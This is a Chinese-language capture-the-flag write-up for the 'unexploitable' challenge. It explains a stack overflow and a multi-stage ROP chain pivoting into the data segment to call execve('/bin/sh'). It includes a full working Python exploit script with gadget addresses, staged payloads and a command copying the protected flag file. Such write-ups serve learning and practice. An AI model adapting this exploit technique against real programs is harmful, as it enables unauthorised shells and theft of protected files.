unexploitable

Posted by rk700 on November 14, 2014

这次是500分的rop

#include <stdio.h>
void main(){
        printf("Not all the bugs are exploitable.\n");
        printf("Try to exploit this one and you will see.\n");
        printf("Or.. maybe you can prove otherwise :)\n");

        // exploit me
        int buf[4];
        read(0, buf, 1295);
}

溢出很明显。但单看C代码,信息量太小,必须看汇编。

由于开了NX和ASLR,只能ROP了。由于在0x40056f处有syscall,所以我的思路是执行execve("/bin/sh",["/bin/sh",NULL],...)

具体地,我跳了好几次

  1. 溢出,返回再次read,而且把rbp设到可写的0x601xxx那里;
  2. 由于rbpdata段,这次的read,可以确定所写东西的地址。我们把第3次用到的栈上的数据写到这里。由于上次的rbp可控,当执行完readleave;ret时 ,我们让他跳到第3次read
  3. 这次是将字符串/bin/sh和地址写到固定地址。这样就把execve的参数准备好了。这次结束后,返回到0x4005f6
  4. 通过一系列mov ...,把各个寄存器的值设好。然后返回0x4005e0
  5. 这里就通过设rdx等寄存器,call qword [r12+rbx*8]来执行最终的execve

大体思路就是这样。然后比较麻烦的是,我不知道怎么与他交互……pwntool用不了,python还是不熟……于是最后用的是将flag文件拷贝一份为可读的……

下面是代码

#!/usr/bin/env python2

from struct import *
import subprocess
import time

sh = "/bin/sh\x00"
cmd = "install -m666 /home/unexploitable/flag /tmp/flag1\n"

data1 = 0x601100
data2 = 0x601200

payload1 = "A"*0x10
payload1 += pack("<Q", data1+0x10) #saved rbp
payload1 += pack("<Q", 0x40056a) #ret addr: ...; read

#data1
payload2 = "B"*0x10
payload2 += pack("<Q", data2+0x10) #saved rbp
payload2 += pack("<Q", 0x40056a) #ret addr: ...; read
payload2 += "B"*0x8
payload2 += pack("<Q", 0x4005f6)#ret addr: mov reg ...
payload2 += pack("<Q", 0x40056f) #0f05 syscall
payload2 += pack("<Q", 0)#rbx
payload2 += pack("<Q", 0)#rbp
payload2 += pack("<Q", data1+0x10+0x8+0x8+0x8+0x8)#r12
payload2 += pack("<Q", data2+0x10+0x8+0x8)#r13 -> edi -> '/bin/sh'
payload2 += pack("<Q", data2+0x10+0x8+0x8+len(sh))#r14 -> rsi -> argv
payload2 += pack("<Q", data2+0x10+0x8+0x8+len(sh))#r15 -> rdx -> envp
payload2 += pack("<Q", 0x4005e0) #ret addr: mov r13 edi; ...

#data2
payload3 = "C"*0x10
payload3 += pack("<Q", data1+0x20) #saved rbp
payload3 += pack("<Q", 0x400585)#ret addr: leave; ret
payload3 += sh
payload3 += pack("<Q", data2+0x10+0x8+0x8)
payload3 += pack("<Q", 0)
payload3 += "C"*(0x3b-0x10-0x8-0x8-len(sh)-0x8-0x8)


exe = subprocess.Popen(["/home/unexploitable/unexploitable"],stdin=subprocess.PIPE)
exe.stdin.write(payload1)
time.sleep(1)
exe.stdin.write(payload2)
time.sleep(1)
exe.stdin.write(payload3)
time.sleep(1)
print "======="
exe.stdin.write(cmd)